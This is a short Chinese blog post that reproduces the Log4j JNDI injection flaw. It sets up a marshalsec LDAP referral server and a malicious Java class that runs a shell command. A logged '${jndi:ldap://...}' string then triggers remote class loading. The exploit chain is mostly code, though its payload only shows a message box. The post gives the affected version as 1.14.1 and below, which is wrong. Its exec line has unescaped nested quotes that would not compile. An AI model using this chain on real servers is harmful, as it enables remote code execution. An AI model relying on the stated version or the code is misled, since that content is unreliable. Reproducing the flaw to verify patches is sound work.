概述
log4j的1.14.1往下版本
需要先搭建一个LDAP服务器,git地址
git clone https://github.com/mbechler/marshalsec.git
执行 marshalsec.jndi.LDAPRefServer 的main函数,idea添加执行命令
"http://127.0.0.1/fileService/download/1/1/#test" 8888
意思是将文件服务器http://127.0.0.1/fileService/download/1/1/下面的test类,映射到8888端口
然后编写test类
public class test {
static{
try {
Runtime.getRuntime().exec("cmd /c mshta vbscript:msgbox("有人从你的log4进来了",64,"来自熊猫头的消息")(window.close)");
} catch (IOException e) {
e.printStackTrace();
}
}
}
test类执行了一个cmd指令,执行了一段vb程序语句
将他编译成class,放到文件服务器上,这里随便搭建什么文件服务器都行,给LDAP用。
我这边是用现有的外网远程服务器,http://127.0.0.1/fileService/download/1/1/
然后测试类
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Main {
private static final Logger log = LogManager.getLogger(Main.class);
public static void main(String[] args) {
String cmd = "${jndi:ldap://127.0.0.1:8888/test}";
log.error(cmd);
}
}
单你用log4j打印日志的时候,这日志写了几个jndi的命令,这就完蛋
最后
以上就是甜蜜芝麻为你收集整理的log4j漏洞,jndi侵入验证复现的全部内容,希望文章能够帮你解决log4j漏洞,jndi侵入验证复现所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
发表评论 取消回复